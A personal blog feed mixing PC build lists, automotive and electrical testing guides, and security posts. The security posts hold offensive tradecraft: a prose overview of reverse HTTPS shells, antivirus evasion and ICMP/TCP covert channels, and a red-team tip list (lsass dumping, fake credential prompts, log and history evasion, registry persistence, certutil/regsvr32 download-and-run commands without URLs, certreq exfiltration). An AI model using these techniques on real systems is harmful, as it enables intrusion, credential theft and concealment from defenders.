Jemino Wayde

[UPCOMING] Z790 Gaming System Build Specifications (DeathStar)

noreply@blogger.com (Unknown) — Sun, 27 Nov 2022 07:06:00 +0000

Specification

Core Components:

Case - Corsair iCue 5000X RGB Mid Tower Case (Black)

Motherboard - ASUS ROG Maximus Z790 Hero

Processor (CPU) - Intel Core i9-13900KF

CPU Cooling - Corsair iCue H150i RGB Elite LCD Display AIO Liquid CPU Cooler

Memory (RAM) - Corsair Vengeance RGB PRO 32GB (2x16GB) DDR5 6600MHz C32

Power Supply - ASUS ROG Thor-850P Platinum

Video:

Graphics Card - EVGA GeForce RTX3080 FTW3 Ultra 10GB GDDR6X

Sound:
Sound Card - EVGA NU Audio Pro

Storage:

Solid State Drive (1) - Samsung 980 PRO Series Gen4 1TB M.2 NVMe SSD
Solid State Drive (2) - Samsung 980 PRO Series Gen4 1TB M.2 NVMe SSD
Solid State Drive (3) - Samsung 860 QVO 4TB SSD
Hard Drive (4) - Western Digital Blue 4TB HDD

Peripherals

Display - ASUS ROG Strix XG279Q Gaming Monitor

Mouse - Corsair Sabre RGB PRO Champion Series Gaming Mouse

Mouse Surface - Corsair MM700 RGB Extended Mouse Pad

Keyboard - Corsair K70 MAX RGB - Steel Grey (Corsair MGX Switch)
Keyboard Companion - Corsair iCue Nexus Keyboard Touch Screen Companion

Headset - Corsair HS80 RGB Wireless Gaming Headset - Carbon
Headset Stand - Corsair ST100 RGB Premium Headset Stand

Speakers - GXT 698 Torro 5.1 RGB Gaming Speakers
Power Protection - Power Shield Commander Tower 1.1KVA UPS
External Desktop Drive - Seagate Expansion Desktop Hard Drive 6TB

Case Mods & Accessories

Cabling - ADATA XPG VGA/MB Prime ARGB Extension Cables
Cable Accessories - CoolerMaster ATX 24 Pin 90° Adapter Capacitor GL
Front and Exhaust Fans - Corsair ML120 Pro 120mm Mag-Lev RGB LED Cooling Fan
Thermal Paste - Thermal Grizzly Kryonaut
Case Badges - Intel, ROG, Corsair, EVGA

Setup

Storage Configuration:
OS - Samsung 980 PRO Series Gen4 1TB M.2 NVMe SSD
Apps - Samsung 980 PRO Series Gen4 1TB M.2 NVMe SSD
Data - Samsung 860 QVO 4TB SSD
Backup/Games/Misc - Western Digital Blue 4TB HDD

Main Use of System:

• Home use

• Gaming

• Virtualization

Benchmarking:

• CPU Benchmark Results
• Graphic Benchmark Results
• Stress-Testing Results

Distribution:

• Software package

• Desktop Security Configuration
• System Tweaks

Built by Myself

Colour Theme: Black, and Dark Grey

Manufacturer Theme: Intel, ASUS, Corsair, EVGA, and Samsung

Automotive Diagnosic & Testing Equipment

noreply@blogger.com (Unknown) — Fri, 20 Aug 2021 05:08:00 +0000

The list below are all the necessary tools and accessories needed for my electrical and electronic diagnosis, and maintenance work.

Diagnostic Cart/Workstation

Scan Tools - (Top Drawer)

• Autel MaxiSys Ultra Diagnostic Tablet/Scan Tool Kit with Advanced VCMI

• Autel MV108 8Mm MaxiSys Borescope Add-on for Scan Tool

• Autel MSOAK Oscilloscope Accessory Kit for Scan Tool

• Autel MaxiTPMS TBE200

• Battery & Electrical System Analyzer

• eSCAN ELITE Scan Tool

• AutoEnginuity Pro-Line Scan Tool Bundle (on MSI GL65 Leopard 10SCXR)

• PicoScope Advanced Kit

Test Leads, Probe Set & Accessories – (1^st Drawer)

• AES uTest Advanced Terminal Test Kit

• Multimeter Accessories

Circuit Testers – (2^nd Drawer)

• Fluke 88V/A Automotive Multimeter Combo Kit

• Accessory Power Tester

• Logic Probe Tester/Power Scope

• Power Circuit Probe Kit

• LED Circuit Tester Kit

• Power Probe Test Kit

• Wire Tracer

• Relay Test Jump Set

• Relay Tester

• Relay Fuse Buddy

• Fuser Saver Master Kit OR Short Circuit Finder Kit

Testers/Detectors – (3^rd Drawer)

• Brake Fluid Tester

• Boiling Brake Fluid Tester

• OBD-II CAN Bus Tester/Break-out Box

• Engine Ignition Analyzer

• Noid Lite/IAC Test Kit

• In-Line Spark Checker Kit

• Car Key ECU Induction Signal Detection Card

• Remote Tester control for Radio

• Proximity/Smart Key Tester

• Battery & Alternator Tester

• Automotive Resistance Box - Decade Box

• AutoSim Pro Automotive Sensor Simulator OR Hubu Automotive Sensor Simulator

• Oxygen Sensor Tester and Simulator

• Electronic EGR / Throttle Body and Actuator Tester

• ABS/EBS Tester

• Towing Socket Tester

Wiring Repair Tools – (4^th Drawer)

• Solder machine (Workshop currently have one)

• Wire termination pliers

• Flush Cutter

• Heat Gun

Consumables/Assortment kits – (4^th Drawer)

• Fuse Assortment Kit

• Heat shrink assortment

• Waterproof heat shrinks (3:1 & 4:1)

• Cable Ties

• Braided sleeving

• Fleece tape, Electrical tape

• T-taps connectors

• Connector assortment

• Plug connector assortment

Grease, Cleaning & Lube – (4^th Drawer)

• Electrical Contact Cleaner Spray

• Di-Electric Grease Spray

• AC Disinfectant Spray (Forch AirFresh)

• Battery Cleaner

• Battery Terminal Protection - Red & Blue

Pressure Testers (6^th Drawer)

• Engine Oil Pressure Tester

• Engine Oil Pressure Tester at Oil Filter

• Transmission Oil Pressure Tester

• Vacuum/Pressure Gauge Kit

• Cooling System & Radiator Pressure Test Set

• Brake Pressure Test Kit

• Fuel Pressure Test Kit

• Compression Tester Kit

• Cylinder Leakage Tester Kit

• Combustion Leak Detector Kit

• A/C Gas Leak Tester

Measurements (7^th Drawer)

• Belt Tension Meter/Gauge

• Infrared Thermometer

• Thermal Imaging Camera

• Air Conditioning Thermometer

• Coating Thickness Gauge

• Electronic Stethoscope

• Noise Detection Kit

Last updated 20/08/2021

Analysis of Advanced Attacks and Malware Techniques

noreply@blogger.com (Unknown) — Thu, 10 Sep 2020 06:51:00 +0000

Recently I'm studying about some sophisticated attack techniques used by criminals to break and infect the systems (Home and Enterprise Network).

The goal is always to steal data and remain persistent in the affected system: "fly under the radar".

The attacker wants to infect while remaining invisible, thus avoiding triggering "alarms", leaving traces in the logs, be detected by various solutions such as firewalls, IDS/IPS, Antimalware and HIPS.

This article is focused on some of the techniques used during the attack.

After compromise a machine, it is necessary to maintain persistent access to the network, for this purpose the choice of payload is crucial.

It's often used a reverse http shell

REVERSE HTTPS

REVERSE: the target use firewall with more or less restrictive rules and very often the only configuration is rejecting all incoming connections, especially if the request originated from a computer within the network. Important to the success of the attack, once compromised the remote machine, then get a shell back. The default setting provides for the attackers to connect directly to the shell meeting in this case the firewall block. By setting the reverse option they get to be the compromised machine to act as a client and to contact the C&C (command and control) of the attackers. (It's the same method used by botnets)

WINDOWS: In this case the target machine has the Windows operating system and the exploited process has the features needed to use this method. This method allows to load the payload as a DLL within the process itself, which is very useful to avoid white list of applications on the host to process some HIPS (Host Intrusion Prevention System) and some Antivirus that not support memory scan; especially if the process is authorized and signed, only later, loads the DLL inside it.

HTTPS: some security systems (Enterprise for example) use other rules to filter outbound traffic, allowing only certain ports/from some applications/with some protocols. In this way all applications are blocked which try to communicate on the Internet (significantly reducing the window of attack), for example: FTP, IRC, TOR, P2P and a large part of malicious agent. The HTTP shell is programmed to seek, on a regular basis, the connection with the attackers and the type of communication choice causes that traffic looks, to the devices willing to perimeter security, as a surfing the internet consisting of requests and responses.

FUD: to prevent the various antivirus products recognize the payload, some techniques are implemented to obfuscate the payload and make it unrecognizable to the antimalware signature database, are usually used not public Crypter who remain FUD for a few weeks.

Some of the advanced features of this type of shell are:

The ability to use proxy.

The payload has a "hardcoded" deadline in it, the default setting is usually one week from the date on which it is generated, this is to prevent a forgotten connection try to connect indefinitely. When it reaches this value, the shell terminates. The SessionExpirationTimeout to 0 setting will cause the shell to attempt to connect this up when the process is finished or the target machine restarted.

Exit from a session normally results in "killed" the exploit but the attackers use the detach command (by setting the SessionCommunicationTimeout variable to 0 when generating the payload) so the connection is not terminated and it is recoverable; unless the condition is reached SessionExpirationTimeout or that the process is killed.

Some security systems are making further checks, monitoring network traffic and making sure the content of outgoing packets is acceptable (Egress Filter). These controls are able to identify credit card numbers, users, login and various pattern; all this to notice in real time any breaches within the network.

If credit card data in transit, some of these controls stop traffic and warn network administrators, assuming an internal breach that allowed the dump and the exfiltration of data. To overcome these problems it is then used a HTTPS shell, by encrypting the connection and making data unreadable to those tools, while minimizing the risk of being detected (POS malware for example).

ICMP TUNNEL

Generally the security apps (Enterprise especially) block incoming ICMP packets but often allow the same output, thanks to this configuration, an attacker can use ICMP packets to transfer TCP payload(ICMP tunnel).

attacker: TCP connection to TCP PROXY software that sends the request to the remote client.
remote client :encapsulate TCP payload to ICMP ECHO packets and sends them to the PROXY.
PROXY: de-encapsulates the packets and sends TCP responses to the attacker.

Many attackers use Ping Tunnel

TCP PARAMETERS

An old method but it still works pretty well to bypass IDS and IPS is to use unused TCP parameters packets .

Some of the fields that can be used for this purpose are:

IP Identification: you must have already established a session between the two sides, after which the data is transferred from bitwise within this field.
TCP initial sequence number: this method does not require either to make a connection. A SYN packet is sent with the initial sequence number that contains the payload.
Although the answer is RST, the content is already checked out.

TCP initial sequence acknowledgement number: more complex than the previous method, It's necessary to use a bounce server whose only purpose is to receive packets and forward them to the attacker's machine.

The client generates a TCP SYN packet with source, the server address of the attackers (IP address spoofing) and destination address of the bounce server.
The value of the Initial Sequence Number (ISN) contains the encoded character (ISNq).
The Bounce server receives the packet and responds with SYN/ACK or RST, It depends on whether the door is open or closed. The response is sent to the receiving server (the attacker server) because it has been "spoofed" his address.
The answer will be in this format SYNB, ACK (ISNq + 1).
The attacker's server receives this packet and retrieves the value from the field.

CONCLUSION

I conclude this thread saying that these techniques include not only attacks that include network intrusion target but the attackers also provide other techniques: Social Engineering and Phishing that cause many victims, especially among inexperienced users.

Red Teaming and Pentesting Tips

noreply@blogger.com (Unknown) — Wed, 15 Jul 2020 06:41:00 +0000

Just a list of red team/penetration testing tips. There are currently 21 tips:

You can use high reputation redirectors like Google or AWS in c&c communications to bypass reputation based whitelists. @1ce7ea redteam
Use cleanwipe for uninstalling Sep. It doesn't require Administrator privileges. @dimakoci_ redteam windows
Scan all local network IP ranges(192.168,172.16,10.0) instead of the scope given. You can find the forgotten networks or hosts. @kayhankayihan pentest
Use net user /dom instead of net user /domain. Second one may be being watch by endpoint solution. @vysecurity redteam pentest windows
Use wmiexec instead of psexec. It makes less noise. redteam pentest windows
If you need put a file on disk, use Alternate Data Streams. @Oddvarmoe redteam windows
If you have low priv shell, use fake login prompt for credentials. @enigma0x3 redteam windows
If you need plaintext credentials and you don't want to use mimikatz. Dump lsass and parse it in local. redteam windows
Avoid wtmp logging with ssh -l username target -T. @pwnagelabs redteam linux
Use kill -9 $$ for avoiding bash history on exit. @pwnagelabs redteam linux
If you have a connection but NAC is blocking you. Listen to broadcasts and collect mac address. And use printer's macs for NAC bypass. redteam pentest
Scan external network with Nessus, Netsparker etc. or make little DoS/DDoS attacks to hide real action from blue team. @corpuscallosum redteam
Use ROPEMAKER method and CVE-2017-0199 for creating phishing mails. redteam
You can download any files with signed certutil.exe like this:
certutil -urlcache -split -f redteam pentest windows
You can run your dlls like this:
regsrv32 /s /u dll_name redteam pentest windows
You can run scripts remotely with regsvr32.exe like this:
regsvr32 /s /n /u /i: scrobj.dll @subTee redteam pentest windows
Use smtp relay for internal phishing. redteam
You can encrypt your payloads/macros with using target company domain name as key. redteam pentest windows
You can use HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ with Debugger value for persistence. redteam windows
You must tune connection limit when using automatic vulnerability scanners for avoiding network dropouts. @Kayranfatih pentest
You can use Windows's certreq.exe for data exfiltration. @doylersec redteam windows

Source: http://synack.blog/posts/red-teaming-and...index.html

Z490 Gaming System Build Specifications (Destroyer)(OBSOLETE)

noreply@blogger.com (Unknown) — Mon, 05 Aug 2019 23:17:00 +0000

Specification

Core Components:

Case - Phanteks Enthoo Evolv X (Black)

Motherboard - ASUS ROG Maximus XII Formula

Processor (CPU) - Intel Core i9-10900k (@ 4.5GHz)

CPU Cooling - Corsair iCue H100i RGB Pro XT AIO Liquid CPU Cooler

Memory (RAM) - Corsair Vengeance RGB PRO 32GB (4x8GB) DDR4-3600

Power Supply - ASUS ROG Thor-850P Platinum

Video:

Graphics Card - EVGA GeForce RTX3080 FTW3 Ultra 10GB GDDR6X

Sound:
Sound Card - EVGA NU Audio Pro

Storage:

Solid State Drive (1) - Samsung 980 PRO 500GB M.2 NVMe SSD
Solid State Drive (2) - Samsung 980 PRO 500GB M.2 NVMe SSD
Solid State Drive (3) - Samsung 860 QVO 2TB SSD
Hard Drive (4) - Western Digital Blue 4TB HDD

Peripherals

Display - ASUS ROG Strix XG279Q Gaming Monitor

Mouse - Steelseries Rival 710

Mouse Surface - SteelSeries QcK Prism Cloth Mousepad XL

Keyboard - Steelseries Apex Pro RGB (OmniPoint Switch)

Headset - SteelSeries Arctis Pro + GameDAC Gaming Headset
Headset Stand - Asus ROG Throne Qi Gaming Headset Stand
Speakers - Creative BlasterX Kratos S5 2.1 RGB Gaming Speakers
Power Protection - Power Shield Commander Tower 1.1KVA UPS
External Desktop Drive - Seagate Expansion Desktop Hard Drive 6TB

Case Mods & Accessories

Cabling - Black and Dark Grey Sleeved Cable Extensions
Cable Accessories - CoolerMaster ATX 24 Pin 90° Adapter Capacitor GL
Front and Exhaust Fans - Corsair ML140 Pro 140mm Mag-Lev RGB LED Cooling Fan
Thermal Paste - Thermal Grizzly Kryonaut
Case Badges - Intel, ROG, Corsair, EVGA

Setup

Storage Configuration:
OS - Samsung 970 PRO 500GB M.2 NVMe SSD
Apps - Samsung 970 PRO 500GB M.2 NVMe SSD
Data - Samsung 860 QVO 2TB SSD
Backup/Misc - Western Digital Blue 4TB HDD

Main Use of System:

• Home use

• Gaming

• Virtualization

Benchmarking:

• CPU Benchmark Results
• Graphic Benchmark Results
• Stress-Testing Results

Distribution:

• Software package

• Desktop Security Configuration
• System Tweaks

Built by Myself

Colour Theme: Black, and Dark Grey

Manufacturer Theme: Phanteks, Intel, ASUS, Corsair, EVGA, Samsung and Mix of Corsair, and Steelseries Gears.

Wi-Fi Threats for Mobile Device User

noreply@blogger.com (Unknown) — Thu, 11 Apr 2019 17:24:00 +0000

Public Wi-Fi may seem like one of the greatest conveniences there is, but in reality, it can be quite dangerous. Here are 6 Public WiFi Security threats you need to know and exactly how to protect yourself.

Threat List

Rogue access points
Wi-Fi SSID Tracking
Eavesdropping of traffic over unencrypted or insufficiently encrypted (e.g. WEP) Wi-Fi networks
Malicious Wi-Fi networks masquerading as legitimate Wi-Fi networks (hotspot hijacking)
Client MAC address tracking
Illegal radio frequency transmitters that are designed to block, jam, or otherwise interfere with authorized radio communications

Rogue access points

Threat Description:

Rogue APs are merely access points installed on a preexisting network. They are fairly common and often come in the form of wireless routers. Often times, they are installed by well-meaning employees, to give more customers access to the Wi-Fi network. But many times these routers are not configured properly, which make them easy to break into, even though the network itself might be secure.

Possible Countermeasures:

Mobile Device User: Avoid the use of untrusted and unencrypted Wi-Fi networks, particularly when needing to access sensitive services.
Mobile Device User: When needing to connect to untrusted and unencrypted Wi-Fi networks, attempt to verify with a representative of the hosting organization (e.g., coffe shop employee) that the detected network is the correct one.
Mobile Device User and Enterprise: To reduce the probability of connecting to rogue access points, use Wi-Fi hotspot services that associate access points with registered Wi-Fi provider, geolocation, and crowd-sourced reputation data to make assertions about the their apparent trustworthiness.
Enterprise: To avoid this threat, only allow mobile devices to connect to authorized Wi-Fi networks that use WPA2 encryption.

Wi-Fi SSID Tracking

Threat Description:

Possible Countermeasures:

Enterprise: To prevent an attacker from persistently associating a tracked mobile device with the SSID of a known network (e.g., home or enterprise Wi-Fi), frequently change the SSID to a new and unrelated value.
Mobile Device User: To reduce the number of SSIDs available to an attacker to track a specific device, configure it to not attempt to automatically connect or notify the user of available Wi-Fi networks.
Mobile Device User: To further reduce the number of SSIDs available to an attacker to track a specific device, configure network settings to ‘forget’ Wi-Fi networks, particularly infrequently used public Wi-Fi networks.
Mobile Device User: To greatly reduce the number of messages available to an attacker to actively track a specific device, disable Wi-Fi whenever networked services are not in use.

Eavesdropping of traffic over unencrypted or insufficiently encrypted (e.g. WEP) Wi-Fi networks

Threat Description:

Possible Countermeasures:

Mobile Device User: To reduce the opportunity for this attack, configure mobile devices to not automatically connect to untrusted and unsecure networks.
Enterprise: To reduce the probability of this attack, configure Wi-Fi networks to WPA2 in personal mode with a strong password (increased length, complexity, and randomness).
Enterprise: To further reduce the probability of this attack, configure Wi-Fi networks with WPA2 in enterprise mode with digital certificates.
Mobile Device User and Enterprise: To mitigate eavesdropping over unencrypted Wi-Fi networks, use over-the-top encryption products that encrypt data prior to transmission off the device.
Enterprise: To mitigate eavesdropping over unencrypted Wi-Fi networks, use VPN solutions to establish an encrypted tunnel.

Malicious Wi-Fi networks masquerading as legitimate Wi-Fi networks (evil twin)

Threat Description:

An evil twin is very similar to a rogue AP, but it’s much more sophisticated when it comes to masking its purpose. Evil twins are designed to look, and act exactly like a legitimate AP. Hackers can clone an AP you know and trust, and create one that is identical. When you connect via this AP, you’re actually connecting to the evil twin, which then proceeds to send info to the hacker. Wi-Fi networks are extremely vulnerable to these types of attacks.

Possible Countermeasures:

Mobile Device User: When choosing to connect to an unencrypted and potentially spoofed Wi-Fi network, to reduce the probability of connecting to a malicious network, verify the network appears consistently geolocated with the host (e.g., on the premises), and if possible, verify with a representative that the intended Wi-Fi network is the one they host.
Mobile Device User: To decrease the probability of connecting to a spoofed Wi-Fi network, configure devices to not automatically connect to unknown Wi-Fi networks, and to ‘forget’ public networks once they are no longer in use.
Enterprise: To greatly decrease the probability of this attack, only allow mobile devices to connect to authorized Wi-Fi networks that use WPA2 encryption with a strong pre-shared key (for personal mode).

Client MAC address tracking

Threat Description:

When probing for available Wi-Fi networks, mobile devices transmit their MAC address. Persistent use of a single MAC address readily enables physical tracking of a specific device by listening or probing for messages that contain its associated MAC address. As a result, most mobile OS added support for some implementation of MAC address randomization, such that a device generates a new MAC address when establishing communication with an unknown Wi-Fi network. Note, however, that once an attacker has associated a target device with the MAC address it uses on a given Wi-Fi network, successful SSID spoofing may trigger the device to attempt to connect, thereby revealing a traceble MAC address.

Possible Countermeasures:

Mobile Device Owner and Enterprise: To increase the complexity of MAC address tracking, procure mobile devices with OS and hardware versions that support MAC address randomization. Starting in Android 6.0, randomized MAC addresses are used for Wi-Fi and Bluetooth scans. See Android 6.0 Changes. In iOS 8, Wi-Fi scanning behavior changed to use random, locally administrated MAC addresses. See User Privacy on iOS and OS X. Windows 10 and later verions support MAC address randomization.
Mobile Device User: To reduce traceable signals from a mobile device, place it airplane mode when wireless communication is not in use. In this mode, most devices will disconnect from any current Wi-Fi network, and not attempt to join any Wi-Fi networks until reenabled.
Mobile Device User: To minimize traceable signals from a mobile device, power it off when not in use.

Illegal radio frequency transmitters that are designed to block, jam, or otherwise interfere with authorized radio communications

Threat Description:

Signal jammers also called WIFI signal jammers or WIFI signal blockers are most often used to interfere with wireless local area networks (WLAN), a type of denial of service (DoS) attack. Besides, under the fast developed technology, advanced and more expensive versions of the WIFI signal jammers are used to jam satellite communications. If you are the guy who has known something about such gadget, you must know the truth that the Wireless Signal Jammer Device can be used to temporarily stop transmission, temporarily short out or turn off the power during the usage of units. These include Radios, Televisions, Microwaves, or any unit that receives electrical signals for operation. About how to apply this device and where it is mainly used or what are the main purposes about this device, following will list you everything about it.

Possible Countermeasures:

Enterprise and Mobile Device User: Contingency planning for use of another communication band.
Enterprise: To mitigate interference to on-premises communications, detect, locate, and deactivate the device causing interference to Wi-Fi communications.

Checking for Integrity of cables

noreply@blogger.com (Unknown) — Thu, 05 Jul 2018 06:33:00 +0000

A continuity test and insulation test can be performed in a dead circuit test to check for Integrity of the cable.

What is Continuity Testing?

The continuity of an electrical circuit is checked to ensure that the electrical path is complete.

By this test, continuity testing is used to check the following purposes:

Integrity of cables

Integrity of electrical circuit path (i.e., that the circuit is continuous).
Integrity of the earthing system (i.e., electrical continuity and low-resistance value to earth)
Accurate wiring of a control and power circuit to the correct terminals
Differentiate active and neutral conductors before connecting them to a device
Check for wrong wiring interconnections between different control and power circuits. Thus indirectly, checking for short circuit paths
Integrity of switches, fuses, and other devices

The test is performed by placing a small voltage between 2 or more endpoints of the circuit. The flow of current can be verified qualitatively (e.g. by observing a light or buzzer in series with the circuit actuates) or quantitatively (e.g. by using a multimeter to measure the resistance between the endpoints).

In an ohmmeter, the scale is calibrated from zero to an infinite range of resistance. When the meter shows a zero reading, it indicates that the path between two test leads has zero resistance. This, in turn, indicates that the path is a continuous one.

If the path or the conductor is open, then it will show resistance value as infinite.

Often, a circuit where there is an open circuit fault can register excellent continuity with a low power tester or ohmmeter. But when a voltage is applied, current may not flow.

The reason for this is that the circuit may be partially continuous (Example: a partially burnt cable where one or two conductor strands may be making contact) but when feeding a heavy load it will behave as a high impedance.

This type of fault will be detected by testing on load using voltage measurements.

Python for Networking and Security Learning Resources

noreply@blogger.com (Unknown) — Mon, 18 Jun 2018 13:42:00 +0000

Python is considered as a beginner-friendly programming language and has many advantages when it comes to scripting; especially for a successful career in penetration testing and cyber security. Its community provides many free resources for beginners and more advanced users.

I have gathered the most helpful free materials about Python, with a focus on networking and security. Below you will find the whole list.

Published by thenewboston

• Python Reverse Shell Tutorial

• Python Network Packet Sniffer Tutorial

• Python Programming Tutorial

Published by Cybrary

• Python for Security Professionals

Published by Hugo NEPT

• Learning Python Web Pen Testing

Published by Hack Happy

• Learn Python Programming For Hackers

Published by HackingMonks.net

• Python Tutorials

Published by InfoSec Institute

• Python for Security Professionals

Published by Primal Security

• Python Tutorials

Other:

• List of Free Python Resources

If you have suggestions or a few links to submit, leave a comment below. This page will be updated when necessary!

Testing Procedure Sample

noreply@blogger.com (Unknown) — Sun, 10 Jun 2018 06:26:00 +0000

Test Selection:

The person undertaking the testing can decide which of the tests are appropriate and the oder in which they are carried out. They should use their knowledge and experience of the installation and consult existing records where available.

Test Sample

Consider this, whilst performing safe isolation of the installation you have your voltage tester in your hand - so you might as well perform the same tests on the incoming side of the main switch and confirm supply polarity;

Then, as you have the cover off the board anyway, disconnect the earthing conductor and measure Ze;

Re-connect the earthing conductor and measure your PFC;

These three tests have took you 5 minutes and you have not moved.

Then onto your sequence of tests - continuity, ring final, IR, Polarity.

Now, really speaking, you should put the cover back on the board before re-energising (HSE and all that) - but that's okay, because you are finished in there and should not have to take it off again.

On with the remaining live tests - Zs, RCD and the functionals.

References:

• https://www.electriciansforums.co.uk/threads/basic-testing-procedures.16621/

• http://www.electriciansblog.co.uk/2011/10/periodic-inspection-electrical-testing-procedures/

Your Practical Guide to Threat Hunting

noreply@blogger.com (Unknown) — Sat, 26 May 2018 14:59:00 +0000

Threat hunting is a popular topic these days, and there are a lot of people who want to get started but don’t know how. So, if you are new to the idea of threat hunting, you may find the below PDF file to help you understand what hunting is, how it’s done and what successful organizations do to help their hunters.

Electrical: Basic Testing Procedures and Descriptions

noreply@blogger.com (Unknown) — Tue, 22 May 2018 11:01:00 +0000

Safe isolation

Reason: Dead circuit testing is testing performed with the power disconnected from the circuit. The main benefit of disconnecting power supply while tests with an external energy source are performed is to eliminate hazardous risks to the environment or the person conducting the test.

Method: The procedure for proving dead should be by use of a test lamp or two pole voltage detector as recommended in HSE Guidance Note GS38. Non-contact voltage indicators (voltage sticks) and multi-meters should not be used. The test instrument should be proved to be working on a known live source or proprietary proving unit before and after use. All phases on load side of main switch and the neutral should be tested and proved dead.

Note: When testing live, it is always good practice to put your test leads first on the non-live conductor, that is earth / neutral and then to a live conductor.

Test sequence and descriptions:

The following tests are carried out with the Consumers main switch isolated.

1. External earth fault loop impedance
[Main circuit isolated, but working in vicinity of live parts]

Reason: To establish that a good earth exists at the origin of the installation in order for the remaining tests to go ahead.

Method: Disconnect the main earthing conductor from the main earthing terminal. An earth fault loop impedance tester is connected at line and earth (main earthing conductor) at the supply side of the installation and a test performed. Reconnect the main earthing conductor. The result is Ze and recorded on the sheet. The prospective fault current is measured at the same time after the re-connection of the main earthing conductor.

2. Continuity of protective and bonding conductors

Reason: To check that all circuit protective conductors (green and yellow cables) are continuous and are present at every electrical accessory on the circuit. Also to check that the main earthing conductor and main bonding conductors are continuous and correctly connected.

Method 1: The line conductor is connected to the circuit protective conductor of the same circuit at the consumer unit and a measurement taken at ALL accessories on that circuit between line and CPC. The highest measurement obtained is recorded on the test report. Additionally, this method can be used to establish a circuit’s earth fault loop impedance.

Test result is R1 + R2. The line conductor and neutral conductor are then connected and the above repeated to obtain R1 + Rn.

Method 2 (used for main earth and main bonding conductors): A wandering lead is connected to one end of the conductor to be tested and a measurement taken between the other end of this lead and the other end of the conductor. The reading obtained at each accessory point should be a low resistance value. Test result is R2.

During this test polarity can be checked as well. The continuity of the neutral conductor can also be checked.

3. Continuity of ring final circuit conductors

Reason: This test ensures that all ring final circuits (sockets usually) are indeed a continuous ring with no interconnects or breaks within it.

Method: The line, neutral and earth conductors of the circuit are identified within the distribution board and a measurement from one end to the other end of each is taken. These results are R1, R2, and Rn.

The incoming line conductor is then connected to the outgoing earth conductor and the outgoing line conductor is connected to the incoming earth conductor. A measurement is then taken at ALL socket outlets on the ring. The highest of which is recorded on the report.

This result is R1 + R2 for that circuit. The above is then repeated using the neutral conductor instead of the earth conductor. This test provides R1 + Rn which does not need to be recorded on the report but is essential to check the circuit correctly.

4. Insulation Resistance

Reason: This test checks whether the insulation around a cable is still intact and has not broken down over time. It is a good indicator of the age of an installation.

Method: An insulation resistance tester is connected across line and neutral conductors at the origin of the supply. 500V are then pumped down the conductors to see if any voltage leaks across from one conductor to the other. The same is then done for the line and earth and the neutral and earth conductors.

Note: Ensure that all loads are disconnected, including the residual current circuit breaker, to prevent damage and influencing test results. However, where electronic or sensitive equipment may be in circuit, test to earth with line and neutral conductors connected together.

Infinity is preferred but a minimum insulation resistance value of is 1 MΩ accepted. However, low resistances of less than 2 MΩ will require further investigation.

5. Polarity

Reason: To check that all accessories are correctly connected to line, neutral and earth and that all switches and circuit breakers are connected in the line conductor only.

Method: The method for this is the same as for continuity and is usually done at the same time by operating switches, sockets etc whilst conducting the test.

6. Earth electrode resistance

[Main circuit isolated, but working in vicinity of live parts]

Reason: Where the electrode is part of the installation and has an RCD protecting it, an electrode resistance test may be required, to make sure that any earth electrode used is of a sufficiently low impedance to allow the timely operation of the RCD protecting the installation.

Method: An earth fault loop impedance tester is connected between line and earth at the origin of the supply and a test performed. The result of which is considered the resistance of the electrode (Ra).

Note: Each earth rod or group of rods should be tested separately, with the test links removed and with installation isolated from the supply.

The following tests are carried out with the Consumers main switch energised.

7. Live polarity test

Reason: To verify polarity of supply authorities system.

Method: An approved voltage indicator or test lamp shall be used. Using the approved voltage indicator, one probe shall be placed on the incoming neutral, and the other on the incoming line conductor, on the live side of main breaker. The indicator should show it is live. One probe shall now be placed on the CPC and the other on the incoming line conductor. The indicator should show it is live. A test shall be preformed between CPC & incoming neutral. The indicator should show that it is not live.

8. Earth fault loop impedance

Reason: This test is done at the furthest point on a circuit in order to make sure the impedance of the earth path is not too high even at the furthest point so that sufficient current will flow under fault conditions to take out the circuit breaker protecting the circuit.

Method: An earth fault loop impedance tester is connected to line and earth at the furthest point on the circuit and the test performed to obtain the value of Zs.

9. RCD test

Reason: To make sure RCD's trip within the correct time (30mA = 300ms max).

Method: An RCD tester is connected and a test at 1/2 times, 1 times and 5 times the trip current is performed on each side of the cycle and a time of trip obtained. Usually milliseconds with the highest being recorded. The manual test button is then pressed as part of the functional test.

10. Functional testing

Reason: To make sure all switches, isolators, circuit breakers etc. work as they should.

Method: Switches must be switched on and off. The circuit must be interrupted as intended.

Basic Assessment of Reconnaissance & Scanning Characteristics

noreply@blogger.com (Unknown) — Sat, 12 May 2018 21:18:00 +0000

Reconnaissance:

What does your network reveal?

Are you leaking too much information?

Using Whois lookups, ARIN, RIPE and APNIC

Domain Name System harvesting

Data gathering from job postings, websites, and government databases

Recon-ng

Pushpin

Identifying publicly compromised accounts

Maltego

FOCA for metadata analysis

Scanning:

Locating and attacking unsecure wireless LANs

War dialing with War-VOX for renegade modems and unsecure phones

Port scanning: Traditional, stealth, and blind scanning

Active and passive Operating System fingerprinting

Determining firewall filtering rules

Vulnerability scanning using Nessus and other tools

Automotive Tools

noreply@blogger.com (Unknown) — Wed, 25 Apr 2018 11:32:00 +0000

The list below are all the necessary tools and accessories needed for my automotive mechanics or maintenance work.

Car Jacks & Car Stands:

• Trolley Jack

• Jack Pads

• Jack Stands

• Wheel Stops & Bases

Power Tools:

Impact Rachet & Accessories

• 3/8” Drive

Impact Wrench & Accessories

• 1/2” Drive

Hand Tools:

Tool Chest & Trolley

• Kincrome CONTOUR Wide Tool Chest 10 Drawer 42" Black Series

• Kincrome CONTOUR Wide Tool Trolley 12 Drawer 42" Black Series

Sockets, Socket Sets & Accessories

• 1/4" Socket sets

• 3/8" Socket sets

• 1/2" Socket sets

• Extension Bar Set 3/8" Drive

• Extension Bar Set 1/2" Drive

• Sliding T-Handle 3/8" Drive

• Sliding T-Handle 1/2" Drive

• Socket Adaptor Set

• T-Handle Metric Socket Set

• 3/8” Impact Socket sets

• 1/2” Impact Socket sets

• 3/8” Breaker Bar

• 1/2” Breaker Bar

• Spark Plug Socket Set

• Torque Limiting Extensions

Spanners / Wrenches Sets

• Combination Spanner Set (6 point) & Combination Spanner Set (12 point)

• Ratchet Combination Spanner Set

• Flex Head Ratcheting Combination Spanner Set

• X-Beam Ratcheting Combination Spanner Set

• Indexing Ratcheting Combination Spanner

• Crows Foot Spanner Set

• Offset Double Ring End Spanner Set

• Long Reach Double Ring Spanner Set

• Double End Flare Wrench Set

• Angled Socket Wrench Set

• Double Flex/Hinged Socket Wrench Set

• Adjustable Wrench Set

• Pipe Wrench

• Torque Wrench - 3/8" Drive & 1/2" Drive

Bit Sets

• Standard Square Drive Torx Bit Set

